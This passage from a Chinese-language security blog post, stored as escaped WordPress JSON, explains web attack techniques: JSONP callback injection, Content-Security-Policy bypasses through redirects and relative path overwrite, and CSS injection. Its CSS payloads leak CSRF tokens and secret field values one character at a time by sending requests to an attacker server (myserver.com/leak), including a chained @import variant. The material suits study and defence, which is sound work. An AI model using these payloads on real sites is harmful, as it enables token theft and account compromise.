\u5176\u4e2dsetUsers\u662f\u4e00\u4e2a\u524d\u7aefjavascrip\u751f\u6210\u7684\u51fd\u6570\u7684\u51fd\u6570\u540d\uff0c\u5728\u5411\u540e\u7aefapi\u53d1\u8d77\u8bf7\u6c42\u65f6\u4f20\u9012\u8fc7\u53bb\u8ba9\u540e\u7aef\u7528\u8fd9\u4e2a\u51fd\u6570\u540d\u5305\u88f9\u8fd4\u56de\u7684\u6570\u636e\u5f62\u6210\u4e00\u4e2ajavascript\u7a0b\u5f0f\u7801\uff0c\u8fd9\u6837\u524d\u7aef\u5c31\u77e5\u9053\u5e94\u8be5\u628a\u8fd4\u56de\u7684\u6570\u636e\u4f20\u9012\u7ed9\u54ea\u4e2a\u51fd\u6570\u4e86\uff08\u8fd9\u91cc\u5c31\u662fsetUsers\uff09<\/p>\n
\u5982\u679c\u51fd\u6570\u540d\u65f6\u52a8\u6001\u751f\u6210\u7531url\u4f20\u9012\u7ed9\u540e\u7aef\uff0c\u5982\uff1a<\/p>\n
https:\/\/example.com\/api\/users?callback=anyFunctionName<\/code><\/pre>\n
\u90a3\u4e48\u8fd4\u56de\u7684\u6570\u636e\u7ecf\u5305\u88f9\u540e\u5c31\u662f\uff1a<\/p>\n
anyFunctionName([\n  {id: 1, name: 'user01'},\n  {id: 2, name: 'user02'}\n])<\/code><\/pre>\n
\u8fd9\u4e2a\u65f6\u5019\u5982\u679c\u6211\u4eec\u5bf9\u4f20\u8fc7\u53bb\u7684\u51fd\u6570\u540d\u8fdb\u884c\u7be1\u6539\uff1a<\/p>\n
https:\/\/example.com\/api\/users?callback=alert(1);console.log<\/code><\/pre>\n
\u8fd4\u56de\u7684\u6570\u636e\uff1a<\/p>\n
alert(1);console.log([\n  {id: 1, name: 'user01'},\n  {id: 2, name: 'user02'}\n])<\/code><\/pre>\n
\u8fd9\u4e2a\u65f6\u5019\u653b\u51fb\u5c31\u4ea7\u751f\u4e86\uff0c\u6d4f\u89c8\u5668\u4f1a\u6267\u884calert(1)<\/p>\n
\u7ed5\u8fc7\u65b9\u5f0f\u56db\uff1a\u91cd\u5b9a\u5411<\/strong><\/p>\n
\u5982\u679c\u88ab\u4fe1\u4efb\u7684\u670d\u52a1\u5668\u542f\u52a8\u91cd\u5b9a\u5411\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u7ed5\u8fc7\u9650\u5236<\/p>\n
\u4f8b\uff1a<\/p>\n
<!DOCTYPE html>\n<html>\n<head>\n  <meta http-equiv=\"Content-Security-Policy\" content=\"script-src http:\/\/localhost:5555 https:\/\/www.google.com\/a\/b\/c\/d\">\n<\/head>\n<body>\n  <div id=userContent>\n    <script src=\"https:\/\/www.google.com\/test\"><\/script>\n    <script src=\"https:\/\/www.google.com\/a\/test\"><\/script>\n    <script src=\"http:\/\/localhost:5555\/301\"><\/script>\n  <\/div>\n<\/body>\n<\/html><\/code><\/pre>\n
\u5982\u679chttp:\/\/localhost:5555\/301<\/code>\u91cd\u5b9a\u5411\u5230https:\/\/www.google.com\/complete\/search?client=chrome&q=123&jsonp=alert(1)<\/code>\uff0c\u56e0\u4e3a\u662f\u91cd\u5b9a\u5411\uff0c\u90a3\u4e48\u5c31\u4e0d\u4f1a\u770bpath\uff0c\u5bfc\u81f4\u5bf9path\u7684\u7ed5\u8fc7<\/p>\n
\u7ed5\u8fc7\u65b9\u5f0f\u4e94\uff1a\u7ecf\u7531rpo<\/p>\n
\u4f8b\u5982\u8aaa CSP \u5141\u8a31\u7684\u8def\u5f91\u662f\u00a0https:\/\/example.com\/scripts\/react\/<\/code>\uff0c\u53ef\u4ee5\u9019\u6a23\u7e5e\u904e\uff1a<\/p>\n
<script src=\"https:\/\/example.com\/scripts\/react\/..%2fangular%2fangular.js\"><\/script><\/code><\/pre>\n
\u90a3\u4e48\u6700\u540e\u6d4f\u89c8\u5668\u8f7d\u5165\u7684\u5c31\u662f\uff1a<\/p>\n
https:\/\/example.com\/scripts\/angular\/angular.js<\/code><\/pre>\n
CSS injection\uff1a<\/h2>\n
css\uff1a\u662f\u4e00\u79cd\u7528\u4e8e\u63cf\u8ff0 HTML \u6216 XML\uff08\u5305\u62ec\u5982 SVG\u3001XHTML \u7b49 XML \u5b50\u96c6\uff09\u6587\u6863\u5916\u89c2\u548c\u683c\u5f0f\u7684\u6837\u5f0f\u8868\u8bed\u8a00\u3002\u5b83\u7684\u4e3b\u8981\u4f5c\u7528\u662f\u63a7\u5236\u7f51\u9875\u7684\u5448\u73b0\u6837\u5f0f<\/p>\n
\u6bd4\u5982\uff1a<\/p>\n
<style>\n    h1 {\n      color: blue;\n      font-family: Arial;\n    }\n    p {\n      font-size: 16px;\n      background-color: #f0f0f0;\n    }\n<\/style><\/code><\/pre>\n
\u9009\u62e9\u5668\uff1a\u7528\u6765\u6307\u5b9a HTML \u5143\u7d20\uff08\u6216\u4e00\u7ec4\u5143\u7d20\uff09\u7684\u89c4\u5219\uff0c\u4ece\u800c\u5c06\u6837\u5f0f\u5e94\u7528\u5230\u8fd9\u4e9b\u5143\u7d20\u4e0a\uff0c\u8fd9\u91cc\u91cd\u70b9\u770b\u770b\u5c5e\u6027\u9009\u62e9\u5668\uff1a<\/p>\n
a[href] { color: green; }\uff1a\u5339\u914d\u6709 href \u5c5e\u6027\u7684 <a>\ninput[type=\"submit\"] { ... }\uff1a\u5339\u914d type=\"submit\" \u7684 <input>\na[href^=\"https\"] { ... }\uff1ahref \u4ee5 \"https\" \u5f00\u5934\nimg[src$=\".png\"] { ... }\uff1asrc \u4ee5 \".png\" \u7ed3\u5c3e\ndiv[class*=\"box\"] { ... }\uff1aclass \u5305\u542b \"box\"<\/code><\/pre>\n
\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u5b83\u6765\u9009\u62e9\u4e00\u4e9b\u5305\u542b\u654f\u611f\u6570\u636e\u7684\u5143\u7d20\uff0c\u540c\u65f6\uff0ccss\u7531\u4e8e\u9700\u8981\u5916\u90e8\u52a0\u8f7d\u4e00\u4e9b\u80cc\u666f\u56fe\u7247\u4e4b\u7c7b\u7684\u8d44\u6e90\uff0c\u6240\u4ee5\u4e5f\u53ef\u4ee5\u5411\u5916\u90e8\u53d1\u9001request<\/p>\n
input[name=\"secret\"][value^=\"a\"] {\n  background: url(https:\/\/myserver.com?q=a)\n}\n\ninput[name=\"secret\"][value^=\"b\"] {\n  background: url(https:\/\/myserver.com?q=b)\n}\n\ninput[name=\"secret\"][value^=\"c\"] {\n  background: url(https:\/\/myserver.com?q=c)\n}\n\n\/\/....\n\ninput[name=\"secret\"][value^=\"z\"] {\n  background: url(https:\/\/myserver.com?q=z)\n}<\/code><\/pre>\n
\u8fd9\u6837\u5c31\u53ef\u4ee5\u9010\u4e2a\u7206\u7834\u51fa\u6240\u6709\u5b57\u7b26<\/p>\n
\u4f46\u662f\u9009\u62e9\u5668\u53ea\u4f1a\u5728\u80fd\u6e32\u67d3\u7684\u5143\u7d20\u90a3\u91cc\u52a0\u8f7d\u8d44\u6e90\uff08\u65e0\u6cd5\u6e32\u67d3\u81ea\u7136\u6ca1\u5fc5\u8981\u52a0\u8f7d\uff09\uff0c\u56e0\u6b64\u9009\u62e9\u5230\u00a0type \u662f hidden\u7684\u5143\u7d20\u65e0\u6cd5\u53d1\u9001request\uff0c\u8fd9\u65f6\u5c31\u53ef\u4ee5\u4f7f\u7528\u76f8\u90bb\u5144\u5f1f\u9009\u62e9\u5668\uff0c\u5b9e\u4f8b\u5982\u4e0b\uff1a<\/p>\n
input[name=\"csrf-token\"][value^=\"a\"] + input {\n  background: url(https:\/\/example.com?q=a)\n}<\/code><\/pre>\n
\u5176\u4e2d+ input\u7684\u4f5c\u7528\u662f\u9009\u5230\u8fd9\u4e2a\u5143\u7d20\u7684\u4e0b\u4e00\u4e2a\u540c\u7c7b\u5143\u7d20\uff0c\u8fd9\u91cc\u5c31\u662f\u9009\u62e9\u4e0b\u4e00\u4e2ainput\u5143\u7d20\u7136\u540e\u52a0\u8f7d\u8d44\u6e90\uff0c\u53d1\u51farequest<\/p>\n
\u6216\u8005\u540e\u9762\u6ca1\u6709\u540c\u7c7b\u5143\u7d20\u53ef\u4ee5\u7528has\uff0c\u5b9e\u4f8b\u5982\u4e0b\uff1a<\/p>\n
html\uff1a\n<form action=\"\/action\">\n  <input name=\"username\">\n  <input type=\"submit\">\n  <input type=\"hidden\" name=\"csrf-token\" value=\"abc123\">\n<\/form>\n\npaylaod\uff1a\nform:has(input[name=\"csrf-token\"][value^=\"a\"]){\n  background: url(https:\/\/example.com?q=a)\n}<\/code><\/pre>\n
\u8fd9\u6837\u5c31\u4f1a\u9009\u62e9\u542b\u6709\u7b26\u5408\u6761\u4ef6\u7684input\u7684form<\/p>\n
\u5c06\u4e0d\u53ef\u6e32\u67d3\u5143\u7d20\u6539\u4e3a\u53ef\u6e32\u67d3\u5176\u5b9e\u4e5f\u53ef\u4ee5\uff0c\u4ee5\u4e0d\u53ef\u89c1\u5143\u7d20meta\u4e3a\u4f8b\uff1a<\/p>\n
\u5047\u8bbe\u6709\uff1a\n<meta name=\"csrf-token\" content=\"abc123\">\n\nhead, meta {\n  display: block;  \n}\n\nmeta[name=\"csrf-token\"][content^=\"a\"] {\n  background: url(https:\/\/example.com?q=a);\n} \n\nmeta:before {\n    content: attr(content);\n}<\/code><\/pre>\n
\u7531\u4e8emeta\u6240\u5c5e\u7684head\u4e5f\u6709display:none\uff0c\u6240\u4ee5\u4e5f\u8981\u66f4\u6539\uff0c\u800c\u4f2a\u5143\u7d20\u642d\u914dattr\u7684\u4f5c\u7528\u5219\u662f\u8ba9\u5c5e\u6027\u4e5f\u80fd\u591f\u663e\u793a\u5728\u9875\u9762\u4e0a<\/p>\n
\u53ef\u662f\u6709\u65f6\u5237\u65b0\u9875\u9762\u65f6\u5982CSRF token\u8fd9\u6837\u7684\u654f\u611f\u4fe1\u606f\u53ef\u80fd\u6539\u53d8\uff0c\u4e3a\u6b64\u53ef\u4ee5\u7528@import<\/p>\n
@import\uff1a\u7528\u4e8e\u4ece\u4e00\u4e2a CSS \u6587\u4ef6\u4e2d\u5bfc\u5165\u53e6\u4e00\u4e2a\u5916\u90e8\u6837\u5f0f\u8868<\/p>\n
\u5148\u6253\uff1a<\/p>\n
@import url(https:\/\/myserver.com\/start?len=8)<\/code><\/pre>\n
\u7136\u540e\u653b\u51fb\u8005\u670d\u52a1\u5668\u518d\u8fd4\u56de\uff1a<\/p>\n
<style>@import url(https:\/\/myserver.com\/payload?len=1)<\/style>\n<style>@import url(https:\/\/myserver.com\/payload?len=2)<\/style>\n<style>@import url(https:\/\/myserver.com\/payload?len=3)<\/style>\n<style>@import url(https:\/\/myserver.com\/payload?len=4)<\/style>\n<style>@import url(https:\/\/myserver.com\/payload?len=5)<\/style>\n<style>@import url(https:\/\/myserver.com\/payload?len=6)<\/style>\n<style>@import url(https:\/\/myserver.com\/payload?len=7)<\/style>\n<style>@import url(https:\/\/myserver.com\/payload?len=8)<\/style> \n\/\/<style>\u6807\u7b7e\u53ef\u4ee5\u89e3\u51b3\u90e8\u5206\u6d4f\u89c8\u5668\u8fd4\u56de\u4e00\u4e2aresponse\u540e\u4e0d\u7acb\u523b\u66f4\u65b0style\u7684\u95ee\u9898<\/code><\/pre>\n
\u4f46\u8fd9\u65f6\u51e0\u4e2a\u8bf7\u6c42\u653b\u51fb\u670d\u52a1\u5668\u8981\u4f9d\u6b21\u8fd4\u56de\uff0c\u7b2c\u4e00\u6b21\u8fd4\u56de\uff1a<\/p>\n
input[name=\"secret\"][value^=\"a\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=a)\n}\n\ninput[name=\"secret\"][value^=\"b\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=b)\n}\n\ninput[name=\"secret\"][value^=\"c\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=c)\n}\n\n\/\/....\n\ninput[name=\"secret\"][value^=\"z\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=z)\n}<\/code><\/pre>\n
\u8fd9\u6837\u7206\u7834\u51fa\u7b2c\u4e00\u4e2a\u5b57\u7b26\u540e\u518d\u8fd4\u56de\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\uff0c\u8fd9\u91cc\u5047\u8bbe\u7b2c\u4e00\u4e2a\u5b57\u7b26\u662fd\uff1a<\/p>\n
input[name=\"secret\"][value^=\"da\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=da)\n}\n\ninput[name=\"secret\"][value^=\"db\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=db)\n}\n\ninput[name=\"secret\"][value^=\"dc\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=dc)\n}\n\n\/\/....\n\ninput[name=\"secret\"][value^=\"dz\"] {\n  background: url(https:\/\/b.myserver.com\/leak?q=dz)\n}<\/code><\/pre>\n
\u4e0d\u8fc7\u8981\u6ce8\u610f\uff0c\u7531\u4e8e\u6d4f\u89c8\u5668\u4ece\u540c\u4e00\u4e2a\u6765\u6e90\u5355\u6b21\u7684\u8bf7\u6c42\u6570\u6709\u4e0a\u9650\uff0c\u6240\u4ee5\u4f7f\u7528\u4e86\u4e24\u4e2a\u6e90<\/p>\n","protected":false},"excerpt":{"rendered":"
xss https:\/\/ctf.aabyss.cn\/xss-labs\/index.php https:\/\/xz […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-74","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/74","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=74"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions"}],"predecessor-version":[{"id":95,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions\/95"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=74"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=74"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=74"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}